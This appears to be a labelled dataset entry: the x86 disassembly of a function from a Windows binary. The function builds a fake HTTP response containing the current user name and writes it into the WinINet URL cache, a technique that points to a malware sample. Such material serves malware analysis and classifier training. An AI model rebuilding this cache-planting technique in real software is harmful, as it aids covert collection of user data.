Function at 0x405810
Capabilities:
Delete file
Get session user name

Disassembly:
sub esp, 0xd50
mov ecx, 0xa
push ebx
push esi
push edi
mov esi, str._html__head__title___title___head__body_
lea edi, [esp + 0x28]
mov ebx, dword [esp + 0xd64]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
mov esi, eax
lea eax, [esp + 0x28]
push eax
call edi
lea ecx, [esi + eax + 0x10]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x40586a
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0xd50
ret
lea edx, [esp + 0x28]
push ebp
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call ebx
push str.__body___html
push esi
call ebx
lea eax, [esp + 0x18]
lea ecx, [esp + 0x960]
push eax
push ecx
mov dword [esp + 0x20], 0x400
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x960]
push edx
push esi
call edi
inc eax
push eax
lea eax, [esp + 0x168]
push str.HTTP_1.1_200_OK_r_nContent_Type:_text_html_r_nX_Powered_By:_PHP_5.3.10_r_nContent_Length:__d_r_n_r_nU:_s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x58]
push 0
push ecx
push 0x4164bc
push esi
call edi
mov ebx, dword [esp + 0xd70]
push eax
push ebx
call dword [sym.imp.WININET.dll_CreateUrlCacheEntryA]
test eax, eax
jne 0x405916
lea edx, [esp + 0x58]
or ebp, 0xffffffff
push edx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x570]
push str._d_error__d__s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
jmp 0x405a0f
lea ecx, [esp + 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push esi
call edi
push eax
lea edx, [esp + 0x60]
push esi
push edx
call fcn.00404950
add esp, 0x10
cmp eax, 1
je 0x405968
lea eax, [esp + 0x58]
mov ebp, 0xfffffffe
push eax
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x570]
push str._d_error__d__s__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
jmp 0x405a0f
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
add eax, 0xf4240
push ebx
lea edx, [esp + 0x164]
push 0
adc ecx, 0
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
call edi
mov ecx, dword [esp + 0x18]
dec eax
push eax
lea eax, [esp + 0x16c]
push eax
mov eax, dword [esp + 0x24]
push 0x41
push eax
push ecx
push eax
push ecx
lea ecx, [esp + 0x7c]
push ecx
push ebx
call dword [sym.imp.WININET.dll_CommitUrlCacheEntryA]
test eax, eax
jne 0x405a0a
mov edx, dword [esp + 0xd68]
mov ebp, 0xfffffffd
push edx
call edi
push eax
push esi
call edi
push eax
lea eax, [esp + 0x60]
push eax
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x578]
push 0x416478
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
jmp 0x405a0f
mov ebp, 1
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebp
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xd50
ret